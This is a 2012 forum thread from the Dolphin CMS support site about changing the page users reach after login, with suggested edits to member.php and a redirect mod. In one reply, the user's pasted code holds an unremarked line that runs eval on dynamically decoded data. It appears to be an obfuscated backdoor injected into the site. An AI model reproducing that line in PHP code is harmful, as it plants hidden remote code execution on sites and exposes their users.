How Do I Change The URL After Login?

When a User Logs in, they are taken to their Dashboard. I would like to change this to just leave them on the Homepage. How do I do this?

Quote · 10 Feb 2012

Hello

You need to modify member.php file, find the following code (about 680 line number)

 

$sRelocate = bx_get('relocate');
if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
   $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

 

and replace member.php with index.php

Best Regards AntonLV - http://www.boonex.com/market/posts/AntonLV
Quote · 10 Feb 2012

Thank you for a speedy reply! 

 

I made the change - 

 

if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}

$sRelocate = bx_get('relocate');

if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')

$sUrlRelocate = BX_DOL_URL_ROOT . 'index.php';

$_page['name_index'] = 150;

$_page['css_name'] = '';

But to my surprise, it hasn't made any difference. I tried a different browser in case it was a cache issue, but no...

 

Quote · 10 Feb 2012

It's probably not the browsers cache, but the sites cache that is the problem. Go to admin and click "All" under "Clear Cache"

BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin
Quote · 10 Feb 2012

Good idea! But alas no, that hasn't worked either. :/

Quote · 10 Feb 2012

Ah, I just realized that line is inside an if/then statement. If you want everyone who logs in to go to the index change it to this (adding the {}; at the start):

 

{};$sUrlRelocate = BX_DOL_URL_ROOT . 'index.php';

 

Then go to admin and clear the cache, you should be good to go..

BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin
Quote · 10 Feb 2012

AntonLV's suggested change is accurate. No other changes are required. I use the same method with my redirect after logon mod available in the market.

I have to ask. If this a logon from the standard logon form or a logon with facebook connect.

https://www.deanbassett.com
Quote · 10 Feb 2012

When smudge said it didn't work I tried it and it didn't work for me either. I made the change, cleared the cache and then clicked login from the homepage with the popup login screen. It has something to do with not meeting the conditions of that if/then the relocate is enclosed in right?

 

I don't know, Deano you know way more than me about this.. I thought it should work too but I couldn't get it to.

BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin
Quote · 10 Feb 2012

Which version of dolphin?

I use the same method, so far i have not had a problem.

https://www.deanbassett.com
Quote · 10 Feb 2012

Try my free mod in the market.

http://www.boonex.com/m/Redirect_to_any_page_after_logon_

It uses a slightly different method. Not much different, but appears to work.

How things get redirected would depend on how the logon is done. Perhaps this one only works with one of those methods.

1) Logon from login form on index page.

2) Logon from popup logon form.

3) Logon from facebook connect. (This mod will have no effect on facebook logons.)

4) Logon from a restricted page that forces logon.


My method has been tested, and works. Follow instructions carefully. There are 2 versions on the mod in the instructions. One for older versions of dolphin and one for newer versions.

https://www.deanbassett.com
Quote · 10 Feb 2012

 It was 7.0.8. I tried to understand all the conditions of the if/then and it was givng me a headache, lol. So I used the sloppy method and just moved the redirect outside of the if/then by adding the {}; before it.

 

 

Which version of dolphin?

I use the same method, so far i have not had a problem.

 

BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin
Quote · 11 Feb 2012

Hi, the mods work fine, thank you!

Quote · 14 Feb 2012
 
 
Below is the legacy version of the Boonex site, maintained for Dolphin.Pro 7.x support.
The new Dolphin solution is powered by UNA Community Management System.